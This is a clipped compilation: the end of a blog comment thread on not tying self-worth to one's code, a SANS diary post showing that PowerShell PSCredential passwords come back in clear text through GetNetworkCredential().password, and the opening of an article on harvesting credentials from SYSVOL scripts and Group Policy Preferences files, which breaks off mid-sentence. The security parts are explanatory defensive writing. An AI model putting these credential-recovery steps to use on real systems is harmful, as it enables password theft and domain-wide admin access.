most beautiful, elegant, best-practices-using stuff? No.  
  
But we attend the conferences and the code camps and lurk in the online
debates about the "right" way to do things. And then we look over our current
code and think "Oh dear. This isn't very good." And then we encounter code we
wrote 2 years ago and we hang our heads in shame.  
  
Contribute to open source? Sounds good in theory. Sounds terrifying in
practice.  
  
But I love your statement: "One person's junk is another person's treasure."  
  
This is the most positive thing I've read on the internet all month. Thanks.

<img src='img/12998_avatar.php.jpg' width='110' height='110' />Avonelle
Lovhaug

Thursday, January 24, 2013 11:22:38 PM UTC

Good one, Scott.  
  
I look back at code I wrote and alternately think that parts are great \("Wow.
Did \*I\* write that?"\) and awful \("OMG. Did \*\*I\*\* write THAT??\!"\)  
  
Yes mutton chops were allowed because I was in high school, but I still don't
really like looking at the yearbook.  
  
You could write another one for the public entitled "You are not your phone
OS."

<img src='img/12967_avatar.php.jpg' width='110' height='110' />bill

Thursday, January 24, 2013 11:25:47 PM UTC

In 2004 I wrote a program to help coordinate LAN Parties and open sourced it
for others to use. It was some of the worst code I've ever written, but it
solved a problem and solved it fairly well. I learned a lot writing it and
\(to my surprise\) 8 years later it's still in use.  
  
Bad code can still solve problems. If you keep a good attitude and don't ever
get complacent, you'll be fine.

<img src='img/12955_avatar.php.png' width='110' height='110' />Zach Leatherman

Thursday, January 24, 2013 11:33:58 PM UTC

Well said, Zach\!  
  
Avonelle - It's so important to learn to have thick skin. But, for those with
some "influence" it's important to learn to truly give **constructive**
feedback.

<img src='img/12971_avatar.php.png' width='110' height='110' />Scott Hanselman

Thursday, January 24, 2013 11:36:05 PM UTC

Great post\! I try to share anything I come up with that others might find
useful.

<img src='img/12960_avatar.php.jpg' width='110' height='110' />Ben Morris

Thursday, January 24, 2013 11:37:15 PM UTC

I.Dispose\(\) therefore I.Am\(\);

<img src='img/12970_avatar.php.jpg' width='110' height='110' />Tyler

Thursday, January 24, 2013 11:38:36 PM UTC

I would go even further. For me it's embarrassing to look back on my own code.
In larger projects I would really like to recode the complete project after a
specific time, although all works perfect. - But I hate the code - it's so
inelegant... ugly...

<img src='img/12993_avatar.php.png' width='110' height='110' />Fred

Thursday, January 24, 2013 11:47:59 PM UTC

Scott -  
  
"It's so important to learn to have thick skin."  
  
This is certainly true. But I think the risk/rewards ratio has to be worth it.
Right now, the potential risk \(ie getting publicly ridiculed for your code\)
is high and the potential rewards may not be. That depends on the individual.
I've been freelancing for 10 years now, and my customers aren't people who
hang out on GitHub or coding blogs, so my risk/reward ratio would be different
than that of other people.  
  
Of course there are other rewards than finding employment and I don't mean to
minimize them. But those rewards are a bit less concrete.

<img src='img/12998_avatar.php.jpg' width='110' height='110' />Avonelle
Lovhaug

Friday, January 25, 2013 12:08:44 AM UTC

What we need to remember is that the code we write, all the architecture
decisions, unit tests etc. are for us - so we can maintain the code going
forward. The user, does not care. \(who here cares how the chips are designed
or built in their laptops or how the fuel injection system is designed in
their cars?\)  
  
For the user, the program is a solution to a problem they have. How it is
written, how it is designed \(architecture\), they really do not care. All
they care about is solving the specific problem at hand and/or making their
life a bit easier.  
  
We all have bad code lying around somewhere. Sometimes it is because we were
learning a new technology and sometimes it was because of budget and time
constraints, and sometimes it was because we were just plain lazy. \(we are
humans after all\).  
  
Having said that, I think it is important as a programmer to constantly try to
improve yourself - well, not just as a programmer, but as a human being too.
That's what evolves us and just as you seek to be a better human a year from
today, you seek to be a better programmer too.  
  
As long as we accept that this is a constant struggle to do better, then I
think it is easier to accept the code we have written in the past... and of
course, to re-factor it whenever we have the opportunity and not do the same
mistakes when starting a new project. But then again, this really applies to
life and not just code, doesn't it?

<img src='img/12990_avatar.php.png' width='110' height='110' />TJ Gokcen

Friday, January 25, 2013 12:40:20 AM UTC

Nice post, Scott\!  
  
Also, @TJ Gokcen - well said\!

<img src='img/13001_avatar.php.png' width='110' height='110' />Calvin

Friday, January 25, 2013 12:47:42 AM UTC

I firmly believe in the "thick skin" school of thought. No matter what the
industry, there are those who seek to inflate their own self-worth by mocking
the efforts of others. They can be ignored.  
  
I am a totally self-taught, "enthusiast" developer, and it is hugely important
to me to write my stuff up for my cute little blog. I get it wrong as often as
I get it right, and really enjoy the constructive critics. Even more, I enjoy
those moments where someone says "nicely done" or even "Thanks\! Just what I
needed." Most importantly, I learn the most simply by trying to write it up.  
  
I've done some \(Many\) things I thought were truly naive - a while back I
undertook to write a project which would interrogate a database schema, and
build out all the basic CRUD classes, as well as generate separate SQL scripts
for each CRUD function for each class. I knew at the time that there were
existing tools to do all this, and that nothing I could write had a hope in
hell of being any good. But I learned a LOT from doing it.  
  
Come to find out, a few years later I was checking out code from some notable
ORM/Database utilities. My basic architecture, code, and most of my basic
concepts were right on the money with work done by pro's who really know what
they are doing.  
  
Lately I am considering pulling out a bunch of my old garbage, and doing a
series on what was wrong with it, how I would do it differently, and what I
think I had RIGHT. Call it an extension of your "Code Garage Sale" concept.
"From the Boneyard" or something. I have enough crappy, learning-as-I-go type
code to stretch that on for a while\!  
  
Thanks for the great post.  

<img src='img/12961_avatar.php.jpg' width='110' height='110' />John Atten

Friday, January 25, 2013 12:56:21 AM UTC

This has gotten exponentially worse on StackOverflow. I've posted some good
\(and bad\) questions that have been met with a ton of cynicism, and
arrogance. I remember when SO started, it was a way better community.

<img src='img/12991_avatar.php.jpg' width='110' height='110' />John Batdorf

Friday, January 25, 2013 1:04:56 AM UTC

Okay, Scott. You've finally pushed me into posting some of my utilities,
classes and powershell scripts. I'll put them together over the weekend and
feed the sharks with the hope that someone can use something I've done.  
  
Thanks, as always, for the perspective.  
  
Have a great one\!

<img src='img/12972_avatar.php.jpg' width='110' height='110' />Ronnie Swafford

Friday, January 25, 2013 1:06:34 AM UTC

A forthcoming "Theory of Everything" won't be a formula; it will be a
_program_ , a series of linguistic statements, which, like the words in a
sentence, describe the execution of reality.  
-Mark Pesce, The Executable Dreamtime  
  
My attempts to construct a theory of everything have so far yielded one
algorithm, Algorithm Alpha, which I published in prose form, in May 2010:
http://joshmaurice.livejournal.com/19048.html  
  
I've posted some further thoughts on the subject at
http://joshmaurice.livejournal.com and at http://jmmsynch.blogspot.com.

<img src='img/13002_avatar.php.png' width='110' height='110' />Josh Maurice

Friday, January 25, 2013 1:46:01 AM UTC

For each @harthur, you have a dozen
http://thedailywtf.com/Articles/Equals.aspx ,
http://thedailywtf.com/Articles/Classic-WTF-We-Use-BobX.aspx , or
http://thedailywtf.com/Articles/SQL-Splits.aspx  

<img src='img/12965_avatar.php.png' width='110' height='110' />K

Friday, January 25, 2013 1:50:10 AM UTC

Great post, Scott.  
  
Anyone who has never written bad code, please raise their hand. Even the
greatest geniuses in software started somewhere, and it's helpful to remember
that.  
  
I have written some absolutely atrocious code in my time, especially in the
beginning. And even after a decade of doing it I'm still learning every day,
and I still whip things together to get a job done that are far less than
perfect. I judge my self worth as a programmer by the amount of people I help
and the amount of problems I solve, not my line count.  
  
Coders should be problem solvers first, and coders second. This person solved
her problem and there doesn't seem to be an ill effects from this, plus she
put it out there in case it may help others. Why should anyone take issue with
that? And can we really judge her skills and overall value as a programmer by
a one code snippet she posted to Github 2 years ago? Of course not.  
  
Again, nice post Scott. It's good to see a respected coder with a big audience
stand up and say this. We should be pulling people into our profession/hobby
not pushing them out.

<img src='img/12983_avatar.php.jpg' width='110' height='110' />Jeremy Morgan

Friday, January 25, 2013 2:29:38 AM UTC

I am my code. I'm just not my code then. I am my code now.  
  
Scott, you don't really identify as a programmer. That's fine, but I think
that gives you some distance from your code. You don't define yourself by your
code, so you can claim that of others. You define yourself as a technologist.  
  
It is the same as saying you are not your blog posts, or you are not your
opinions on technology.  
  
We are who we are, not who we were.

<img src='img/12989_avatar.php.jpg' width='110' height='110' />Cam MacFarland

Friday, January 25, 2013 2:45:09 AM UTC

Nice post,  
  
By no means lousy but I have an open source project to help others and for
someone else to learn.  
  
Here http://win8rssreader.codeplex.com, oh it just made its way to Windows
Store too http://bit.ly/V9NhGi

<img src='img/12992_avatar.php.jpg' width='110' height='110' />Zubair

Friday, January 25, 2013 3:33:22 AM UTC

Funny, one of the guys that wrote these tweets actually has a site full of
hippie-lets-hold-hands-and-code-together bs. The best lesson he could get
would be nobody showing up at his talks. There are so many humble and talented
developers out there really deserve our attention. Following these other kind
of people is just wasteful. Thank you for putting your voice in this matter.

<img src='img/13006_avatar.php.png' width='110' height='110' />nicolas

Friday, January 25, 2013 4:31:43 AM UTC

I'm actually a fan of yours\!  
I write very bad code and public github, bitbucket and some videos on YouTube,
I believe that the only way you can really learn and evolve with the criticism
of others and I learn a lot\! And it's very graticante when someone likes your
code\!  
Sorry for my bad English\!

<img src='img/12969_avatar.php.jpg' width='110' height='110' />Cleyton Ferrari

Friday, January 25, 2013 5:44:28 AM UTC

My code isn't mine. It belongs to the client who hires a company. Or it is the
employer's. Unless I license the use of my work. But then that rarely happens
with web dev or C\# dev. So no, I am not my code either. I am a resource who
is needed to make something useful.

<img src='img/12968_avatar.php.png' width='110' height='110' />Allen

Friday, January 25, 2013 7:10:37 AM UTC

Great post Scott. Helps putting it all in perspective. Still, you have to
admit that developers are always afraid/ashamed to show their code. Because
now we would do it better. Because employers, especially future ones, can
judge you from that code. It needs maturity and experience to understand that
code is Always valuable\!  
I started to share old projects on github only recently. A friend needed some
help on the basics of a compiler, so I started to push there all the old
compiler code that was sitting on my drive.  
  
So, I accept your "challenge" :\)  
Here is some ugly,and perhaps unuseful, code to write intellisense plugins for
vs2008. It is outdate,as 2 generations of Ides passed by,but helped my friend
to understand how to use a parser,and how to design an application that did
the same thing: highlight keywords,recognize patterns,autocomplete based on
context. Even the most obsolete and obscure code may have a life we didn't
expect.  
My share for today: github.org/ldematte/BlenXVSP

<img src='img/avatar.php.png' width='110' height='110' />lorenzo

Friday, January 25, 2013 7:26:22 AM UTC

+1  
  
I have a some pretty terrible code on github. I try to respect the code others
share. Sharing can be scary, so we should applaud those who do it. I love to
pair because I learn the most rapidly that way even though someone gets to
watch me make mistakes all day long. It's sad when people forget we are all
trying and we are all learning . The best code I could write at some point in
the past isn't as good as my average code now and my best code now isn't as
good as some other developers' average code today. I hope my code in the
future is better than what I can create now, but I won't get there without
help and that includes constructive criticism.

<img src='img/12997_avatar.php.jpg' width='110' height='110' />David Adsit

Friday, January 25, 2013 9:46:54 AM UTC

Inspirational, here's some of my stuff.

Chris

Friday, January 25, 2013 10:34:13 AM UTC

I have some Java code that "reverses" a hibernate mapping by turning an object
mapped via hibernate into a Map implementation, where the key is the column
name and the value is the original value. The code was for a very specific use
case where the original column names matched up about 80% with defined
keywords in an ANTLR grammar.  
  
I am utterly terrified to share it with world + dog. I haven't even put it up
in my Github scraps repo yet.

<img src='img/12966_avatar.php.jpg' width='110' height='110' />Jason

Friday, January 25, 2013 12:57:25 PM UTC

I think Twitter is an easy medium to get carried away with. Those guys making
the comment probably were "trending" on each other and didn't stop to realize
that that were attacking someone who had done something they want everyone
else to do: contribute to the community in some tangible way.  
  
Although I'm not religious, I think the Golden Rule is still a good mantra to
live by. Don't do onto others what you wouldn't want done to you.

<img src='img/12973_avatar.php.jpg' width='110' height='110' />Khalid
Abuhakmeh

Friday, January 25, 2013 1:04:21 PM UTC

So anyone willing to review my Visual Brainfuck for Windows Phone?  
  
http://bfforwp.codeplex.com/  
  
I even have a post-mortem for the project here to document some of the
architecture/design decisions I have made:
http://sietch.net/ViewNewsItem.aspx?NewsItemID=195

<img src='img/12964_avatar.php.jpg' width='110' height='110' />Stilgar

Friday, January 25, 2013 1:10:17 PM UTC

I can't believe it, I just blogged about a Validation library I created and
got burned on twitter for it.  
  
Shame I love programming too much to care.

<img src='img/12953_avatar.php.jpg' width='110' height='110' />Phillip Haydon

Friday, January 25, 2013 2:07:01 PM UTC

Scott -  
  
Great timely post. The sad and honest truth is that it's very very common to
be in an environment where the "fore fathers" of the environment--typically no
longer there--are belittled because of how bad the code is.  
  
It is often true -- "the legacy codes suck". And I believe false harmony is
wrong... that complaining is an important part of the process to get better.
But it's important to direct the complaining at the code, not the author. In
this exact context complaining about old bad code could be helpful.  
  
But in the scenario you describe, a public snark at public code published by
one developer is wrong. It is the definition of mean. I read the apology and I
think that's important for the perpetrator as it helps him establish that he's
not "always a d\*\*\*."  
  
But unfortunately the damage is done and can't be undone by an apology.
Hopefully the programmer who got bashed has more self confidence then to give
a crap what some jerk said off the cuff.  
  
It's better to have contributed open source and have been snarked then to
never have contributed at all.  
  
Again, good post Scott.

<img src='img/13004_avatar.php.jpg' width='110' height='110' />Aaron King

Friday, January 25, 2013 2:23:02 PM UTC

Scott - this is an example of walking the line \(not blaming individuals\) but
it's probably mean.  
  
Linus could easily have used different wording to make his point but not been
mean.  
  
Tech Talk: Linus Torvalds on git  
http://www.youtube.com/watch?v=4XpnKHJAok8

<img src='img/13004_avatar.php.jpg' width='110' height='110' />Aaron King

Friday, January 25, 2013 3:52:57 PM UTC

As for me, I am my code. My code of last year was what I was last year, and my
code of today is what I am today. The code of today is probably better, but
it's because last year's code taught me something. The same way myself is
taught lessons from my past.  
  
I am accountable for my code, but only in front of my client, and more
importantly, myself.  
  
I really love this post\!

<img src='img/12952_avatar.php.png' width='110' height='110' />Fadi El-Eter

Friday, January 25, 2013 3:55:57 PM UTC

I whole heartedly agree as programmers we evolve and yeah code I wrote 12
years ago I have to scratch my head at with astonishment \(why I didn't make a
class there or why did I put that conditional in that loop, etc..\).  
  
With every year like you said, we get better \(most of us anyway\) and we
learn new ways to do things either through conferences or just by programming,
it is hard for me to commit to SVN or deploy to a production environment
knowing some aspect of the project \(no matter how large it is\) isn't up to
my current standards. I guess it doesn't help I've been with the same company
for the last 6 years, interacting daily with not only the code I wrote back in
2007, but others from that far back that were coded very sloppy \(that's the
nicest way to put it\).  
  
It's come to the point some times where I will spend a weekend reworking a
large project from work or a personnel project I did 1, 2, 5+ years ago to
match my current practices. The question I have, does that feeling/urge ever
stop?

<img src='img/12981_avatar.php.jpg' width='110' height='110' />Jarred
Capellman

Friday, January 25, 2013 4:05:45 PM UTC

Nicely said, Scott. I wrote about my own experience with this idea last month:  
http://sstephenson.us/posts/you-are-not-your-code  

<img src='img/12985_avatar.php.jpg' width='110' height='110' />Sam Stephenson

Friday, January 25, 2013 5:54:54 PM UTC

Nice post.  
  
On an unrelated note, the post's title and sentiment remind me of a wonderful
India.Arie song.  
  
Joseph

<img src='img/12987_avatar.php.png' width='110' height='110' />Joseph

Friday, January 25, 2013 6:32:31 PM UTC

Great post. I've been thinking about something similar lately -- developers,
security researchers, technologists, and internet users writ large can be
pretty rude.  
  
I know a lot of us deal with personal issues of depression, anxiety, and low
self-esteem. Programmers are nerds. A lot of us probably dealt with
ostracization and bullying when we were younger. Why do we now do the same to
each other?  
  
I've been pushing for more responsible dialogue in technical circles --
mailing lists, forums, Twitter, Reddit, Hacker News and the like. A gentle
calling out of someone being a jerk can sometimes make them realize how awful
their words sounded. Like the guy I saw the other day throwing accusations at
a group of developers of being "moronic idiots always high on drugs".
Completely ridiculous and doesn't belong in any reasonable discussion, yet
developers feel free to throw those types of insults at each other. Why? What
the hell are they accomplishing? It's completely non-constructive.  
  
Can't we bring each other up and be happy together rather than tearing each
other down? I don't have the urge to insult anyone. Sometimes I get the urge
to say some code is "bad" but there are constructive ways to do so without
hurting anyone's feelings.  
  
Why would it be a bad thing to avoid being prickish?

<img src='img/12980_avatar.php.png' width='110' height='110' />Chris

Friday, January 25, 2013 6:38:55 PM UTC

I've written some, probably lousy, C++ last weekend - Zeal \(documentation
browser\)  
  
I don't know much about C++, but wanted to play with C++11 and Qt5. Indeed I
was slightly worried about people criticising, but thought the project might
be useful maybe, so decided to release it.  
  
Feedback welcome. :\) Both positive and negative - I'm actually kind of
disappointed by lack of responses like feature requests.

<img src='img/13000_avatar.php.png' width='110' height='110' />jkozera

Friday, January 25, 2013 6:58:34 PM UTC

in ORM I used context<Customer>\(\).ToList \(\) :\) and put the filter after
"ToList"  

<img src='img/12974_avatar.php.png' width='110' height='110' />Sam

Friday, January 25, 2013 8:15:06 PM UTC

Looking at the code, I don't see what's all that terrible. It looks like the
code of a, small, one off type, easy to use, project.  
  
Sure, it could be made cleaner, more modular, <insert one of many "right ways"
here>, but what would the benefit be? Do we need to write all of our personal
code so that it can be expanded to an os?

<img src='img/12995_avatar.php.png' width='110' height='110' />nomel

Friday, January 25, 2013 8:16:09 PM UTC

As usual, you make some really good points, Scott. Despite being the "go to
guy" for code questions around my office, I often feel like a fraud because I
know my understanding can't match the guys I follow on the web.  
  
That being said, I feel a bit convicted about this subject because my singular
venture into published open source work has actually had a surprising amount
of interest \(nothing huge, but a lot more than I expected when I published it
out a couple of years ago http://xnastoryboard.codeplex.com/\)  
  
Makes me think I should do more; just because I don't think it's "up to snuff"
doesn't mean someone else might not find it useful, and certainly doesn't mean
that putting it out there can't serve as a means of getting better myself.

<img src='img/12949_avatar.php.png' width='110' height='110' />Brian

Friday, January 25, 2013 8:19:45 PM UTC

Joseph - A classic. That album was my jam for like 18 months. I met her at LAX
a few months back. Super cool.  
  
Thanks for all these great comments, everyone\!  
  
Brian - Everyone feels like a phony.
http://www.hanselman.com/blog/ImAPhonyAreYou.aspx

<img src='img/12971_avatar.php.png' width='110' height='110' />Scott Hanselman

Friday, January 25, 2013 8:52:53 PM UTC

Agreed, but we still need to own our code to a certain extent.

<img src='img/12975_avatar.php.jpg' width='110' height='110' />Justin Hewlett

Friday, January 25, 2013 9:35:49 PM UTC

I like this. People need to realize that whenever someone does diss your code,
it's usually because they found some small part of it that they understand a
better way of doing. It doesn't automatically mean they're a better programmer
overall even if they happen to be right about that one thing they found. Your
self esteem shouldn't be lowered, especially because that issue with your code
they just told you about is now \*your\* knowledge too. So you've evened out
:\)  
  
What's considered idiomatic today might not be tomorrow. I've seen many idioms
evolve of the years in different languages.  
  
I have some terrible code on github and some good code. What matters is that
we produce code and learn from our mistakes. Fork away.

<img src='img/12984_avatar.php.jpg' width='110' height='110' />rkulla

Saturday, January 26, 2013 6:52:44 AM UTC

It wasn't easy for non-native English speaker, but your posts inspired me to
write my first blog entry:  
  
http://tagcsharp.blogspot.com/2013/01/linq-shuffle-and-thread-safe.html

<img src='img/12986_avatar.php.jpg' width='110' height='110' />Tagir Magomedov

Saturday, January 26, 2013 11:10:55 AM UTC

You gave me a lot of Hope of becoming a better programmer. I've appreciated
very much your sincere post. Thank you very much  
  
Alessandro.

<img src='img/12958_avatar.php.png' width='110' height='110' />Alessandro

Saturday, January 26, 2013 4:57:19 PM UTC

I am proud to have written bad code. I am proud because I have learned
something from it. I think one of factors that seperate the average from the
great, is what you learn along the way. More often than not, the brightest
programmer in the room, is the one that made the most mistakes. The best
programmers tend to be their own worst critics as well, because of Scott
Hanselman conciders himself "a lousy programmer".......I pray for my end
users.

<img src='img/12954_avatar.php.png' width='110' height='110' />Josh Floan

Sunday, January 27, 2013 6:08:31 PM UTC

Completely agree.  
  
Code Review to as many people as possible, if it sucks you will learn\!

<img src='img/12994_avatar.php.jpg' width='110' height='110' />Owen Davies

Monday, January 28, 2013 5:15:54 PM UTC

The worst is that these people don't even explain their point, they just throw
all the shity critics at you, rather than elaborate and explain how to
improve.

<img src='img/12959_avatar.php.png' width='110' height='110' />thiago

Tuesday, January 29, 2013 11:26:12 AM UTC

Wonder if Heather Arthur got his apology if the comments didn't attract that
much attention.  
  
Reminds me to clean up that follower list ;\)

<img src='img/12979_avatar.php.png' width='110' height='110' />Luc Bos

Tuesday, January 29, 2013 1:35:30 PM UTC

Hi Scott,  
  
On January 29, 2012, I wrote my very first blog post. Although, I wasn't sure
if I'm doing the right thing, since I knew a lot of people that were way
better programmers than me, I decided to do it anyway. One year later, i.e.
today :\), I have received the first comment on my blog, and it was some guy
who said "thanks for this code". I was very excited and even now I know I
still write lousy code I'm ready to improve myself to be better in any way.  
  
Thank you for this great blog post and a lots of others that certainly inspire
people to achieve good things.

<img src='img/avatar.php.jpg' width='110' height='110' />Vladimir Marinkovic

Wednesday, January 30, 2013 1:45:16 AM UTC

OK, you've inspired me. I've dipped my toe in the open source water by
releasing some ugly code that does a simple but \(judging by some comments I
got on StackOverflow\) useful \(for some\) job.  
  
ssmsmru.codeplex.com  
  
It removes user names and servers from SSMS's connection dialog.  
I haven't released it b4 because I was waiting to clean it up... which will
never happen\!  
  
Thanks Scott\!  
  

<img src='img/12977_avatar.php.png' width='110' height='110' />Mark Walker

Friday, February 01, 2013 10:41:38 AM UTC

Nice Post  
  
Thanks Scott

<img src='img/12982_avatar.php.jpg' width='110' height='110' />Ebrahim
Shadafrough

Saturday, February 02, 2013 1:18:46 AM UTC

I think it's also important to remember that "better" is relative. I may be
better than last year, which to me is awesome, but to someone with 20 years of
full-time coding experience my "better" looks like a 5 year old's watercolor
hand painting.  
  
Just be sure and keep perspective. Learn from those better than you, but
understand where you are coming from and what you have accomplished.  
  
As you get better your standards for your own performance will continue to
improve because what was once difficult will become easy, freeing up brain
cells to focus on even more challenging coding problems. And the cycle
repeats...  
  
BTW, I'm a 41 year old with no programming experience. I've been in finance my
entire professional career. But I want to learn to code. I've published one WP
app and am almost done with my second. My point is that even old dogs can
learn to code. Just keep plugging away and don't give up.

Jeff

Sunday, February 03, 2013 6:44:22 AM UTC

Very well Said Scott\!\!. We are not our code. I face some kind of criticism
for my blog some time. But I learnt from that and continue writing. I am what
I am I will not change myself but rather I will learnt from this mistake and
improve my self.  

<img src='img/12956_avatar.php.png' width='110' height='110' />Jalpesh Vadgama

Friday, February 08, 2013 4:42:38 PM UTC

Always been a little fearful of putting my code out into the open, but this
has inspired me. First commit is up.  
  
https://github.com/GunnerMichael/ServantSoftware

<img src='img/12962_avatar.php.png' width='110' height='110' />Michael Butler

Saturday, February 09, 2013 12:25:48 AM UTC

The only way to know you've improved well is to look at your past year's work
and feel disgusted. This holds true to a lot of performances in life.  
  
You've achieved a certain level. Be proud of it for the moment. But don't be
forever. Continue to work at it, and eventually you'd be confused why you were
proud of it.

<img src='img/12996_avatar.php.jpg' width='110' height='110' />Aaron Seet

Tuesday, July 09, 2013 4:14:18 AM UTC

Putting your code to open source community needs courage, it's not easy to
hear criticism, which is most likely to occur, when you share your code to all
over the world.

<img src='img/13003_avatar.php.png' width='110' height='110' />Angelo

Comments are closed.

  

# InfoSec Handlers Diary Blog - Protecting Powershell Credentials \(NOT\)

**Created:**| _12/21/2016 9:20:10 AM_  
---|---  
**Updated:**| _12/21/2016 9:20:10 AM_  
**Author:**| __  
**Tags:**| _powershell_  
  

  

## Protecting Powershell Credentials \(NOT\)

  *   *   *   * 

**Published** : 2016-12-02  
**Last Updated** : 2016-12-02 14:35:57 UTC  
**by** Rob VandenBrink \(Version: 1\)  

5 comment\(s\)

If you're like me, you've worked through at least one Powershell tutorial,
class or even a "how-to" blog. And you've likely been advised to use the
PSCredential construct to store credentials. The discussion usually covers
that this a secure way to collect credentials, then store them in a variable
for later use. You can even store them in a file and read them back later.
Awesome - this solves a real problem you thought - or does it?

For instance, to collect credentials for a VMware vSphere infrastructure \(I'm
wrapping up a number of audit scripts this week\), you'd do something like:

$vicreds = Get-Credential $null

Which gets you a familiar input screen:

<img src='img/Temp2_4428.png' width='387' height='330' />

  
But while I was working on my scripts, I got to thinking. Wait a minute - I'm
using this same credential variable to authenticate to vSphere, to map drives
and to login to several web interfaces. What that means to me is that these
credentials are being decrypted as they're used in at least some cases. And
given that Powershell is essentially a front-end to dotNet and every other
Windows API ever invented, that means that we can likely decrypt this password
too.

Let's take a look. First, what's in that PSCredentials variable?

$vicreds | gm
TypeName: System.Management.Automation.PSCredential

Name MemberType Definition  
\---- ---------- ----------  
Equals Method bool Equals\(System.Object obj\)  
GetHashCode Method int GetHashCode\(\)  
GetNetworkCredential Method System.Net.NetworkCredential GetNetworkCrede...  
GetObjectData Method void GetObjectData\(System.Runtime.Serializat...  
GetType Method type GetType\(\)  
ToString Method string ToString\(\)  
Password Property securestring Password \{get;\}  
UserName Property string UserName \{get;\}

  
The username is in the clear:

$vicreds.username  
someuserid

However, the password is in the Powershell "securestring" format:

$vicreds.password  
System.Security.SecureString

  
Digging deeper, what's behind that passord property?

$vicreds.password | gm
TypeName: System.Security.SecureString

Name MemberType Definition  
\---- ---------- ----------  
AppendChar Method void AppendChar\(char c\)  
Clear Method void Clear\(\)  
Copy Method securestring Copy\(\)  
Dispose Method void Dispose\(\), void IDisposable.Dispose\(\)  
Equals Method bool Equals\(System.Object obj\)  
GetHashCode Method int GetHashCode\(\)  
GetType Method type GetType\(\)  
InsertAt Method void InsertAt\(int index, char c\)  
IsReadOnly Method bool IsReadOnly\(\)  
MakeReadOnly Method void MakeReadOnly\(\)  
RemoveAt Method void RemoveAt\(int index\)  
SetAt Method void SetAt\(int index, char c\)  
ToString Method string ToString\(\)  
Length Property int Length \{get;\}

Running digging deeper with "tostring", we get no further.

$vicreds.password.tostring\(\)  
System.Security.SecureString

But dumping the password length, we get the right answer\! This means it's
getting decrypted for-sure.

$vicreds.password.length  
9

After some googling, I found the "convertfrom-securestring" command, but what
I get out of that is a boatload of obfuscation:

ConvertFrom-SecureString $vicreds.password  
01000000d08c9ddf0115d1118c7a00c04fc297eb01000000da2ad689e7762d4ba723d22648abc93  
b00000000020000000000106600000001000020000000aae149136cd7e40f2be310cfa95f2985a9  
82a1734d4391be96ccd2098389ed81000000000e8000000002000020000000a6682556eb824853f  
026f2dcd19d9e7506b81c4fce950e46ce1d46bc50612f5220000000b01a820022b2a199da1e9348  
27d15e2aa0175cd775dc1179da1e706f5214554c40000000bbd980faa6682cb753dfa9899faf0b8  
43e5b72b9b27650a34fe980f1432988130e4e939f8fee3254487128c82acd2f4e33cdbb36c0ee9a  
e50b6e555015ad646a

After a bit more looking, it was as simple as finding the right command -
which is what we pretty much knew going in\!

$vicreds.GetNetworkCredential\(\).password  
**S3cr3tPWd**

Yup, that's the super-secret password we started with\!

The point of all of this? There is no secure, native way to store passwords
for re-use. For some reason as an industry, lots of folks have got the
understanding that PSCredential makes a great "vault" for passwords though.
The PSCredential approach is definitely the way to go in any code you might be
writing. For me though, I'd be sure to use it only where required, zero out
these variables when you're done with them to at least try to work against
memory scraping \(and hope that zeroing them out actually works\), and I'm not
storing them off to files for later re-use. If you can use certificates for
authentication, that's really the best way to go - though there are good and
not-so-good ways to do this too \(stay tuned\). Or better yet, 2FA beats every
other method hands-down\!

And for goodness sake, don't use PSCredentials as a credential store for use
in authentication of other users - don't take userid/password entry and
compare it to encrypted passwords of any kind\! Salted hashes \(PBKDF2 by
preference\) is still the way to go for this\!

===============  
Rob VandenBrink  
Compugen

Keywords: PowerShell

5 comment\(s\)

Join us at SANS\! SANS SEC401: Security Essentials Bootcamp Style. Learn the
most effective steps to prevent attacks and detect adversaries with actionable
techniques that you can directly apply when you get back to work.

  

# Finding Passwords in SYSVOL & Exploiting Group Policy Preferences – Active
Directory Security

**Created:**| _5/18/2021 5:44:17 PM_  
---|---  
**Updated:**| _5/18/2021 5:44:17 PM_  
**Author:**| __  
**Tags:**| __  
  

  

Dec 28 2015

#  Finding Passwords in SYSVOL & Exploiting Group Policy Preferences

  * By Sean Metcalf in Exploit, Microsoft Security, Technical Reference

At Black Hat and DEF CON this year, I spoke about ways attackers go from
Domain User to Domain Admin in modern enterprises.

Every Windows computer has a built-in Administrator account with an associated
password. Changing this password is a security requirement in most
organizations, though the method for doing so is not straight-forward. A
standard method is to use Group Policy to set the local Administrator password
across a large number of workstations. A major issue with this is that all of
the computers have the same local Administrator password. Windows is extremely
helpful when it comes to local accounts since if two \(or more\) computers
have the same local account name and password, Windows will authenticate the
account as if it is local, meaning that by gaining knowledge of the
administrator credential on one system, the attacker can gain admin access to
all of them \(that have the same local administrator credentials\).

**SYSVOL**

One of these methods is mining SYSVOL for credential data.

SYSVOL is the domain-wide share in Active Directory to which all authenticated
users have read access. SYSVOL contains logon scripts, group policy data, and
other domain-wide data which needs to be available anywhere there is a Domain
Controller \(since SYSVOL is automatically synchronized and shared among all
Domain Controllers\).

All domain Group Policies are stored here:
\\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\

**Credentials in SYSVOL**

A big challenge for administrators has been ensuring that the local
Administrator account \(RID 500\) on all Windows computers. The traditional
method for doing this \(other than buying a product\) has been to use a custom
script to change the local administrator password. This issue with this is
that frequently the password is stored in clear-text within the script \(such
as a vbs file\) which is often in SYSVOL. Here’s an example of one of the top
results when searching for a VBS script that changes the local Administrator
password. The vbs script is still available on the Microsoft TechNet gallery
and the password is obvious. Remember this script is stored in SYSVOL which
every domain user has read access to and the password is the local
Administrator password for every computer the Group Policy is applied to.

<img src='img/VBS-Scripts-In-SYSVOL-300x154.jpg' width='498' height='255' />

Please don’t use this script to change the local Administrator password.

**Group Policy Preferences  
**

In 2006, Microsoft Bought Desktop Standard’s “PolicyMaker” which they re-
branded & released with Windows Server 2008 as “Group Policy Preferences.” One
of the most useful features of Group Policy Preferences \(GPP\) is the ability
to store and use credentials in several scenarios. These include:

  * Map drives \(Drives.xml\)
  * Create Local Users
  * Data Sources \(DataSources.xml\)
  * Printer configuration \(Printers.xml\)
  * Create/Update Services \(Services.xml\)
  * **Scheduled Tasks \(ScheduledTasks.xml\)  
**

  * **Change****local****Administrator passwords**

That’s very helpful for administrators since it provides an automated
mechanism for what previously required a custom solution such as a script. It
provides useful capability to leverage Group Policy to “deploy” scheduled
tasks with explicit credentials and change the local admin passwords on large
numbers of computers at once – probably the two most popular usage scenario.

**Credential Storage in Group Policy Preferences**

The question at this point should be: how is the credential data protected?

When a new GPP is created, there’s an associated XML file created in SYSVOL
with the relevant configuration data and if there is a password provided, it
is AES-256 bit encrypted which should be good enough…

<img src='img/GroupPolicyPreferencesMSDNAESPrivateKey-768x232.png'
width='1049' height='317' />

Except at some point prior to 2012, Microsoft published the AES private key on
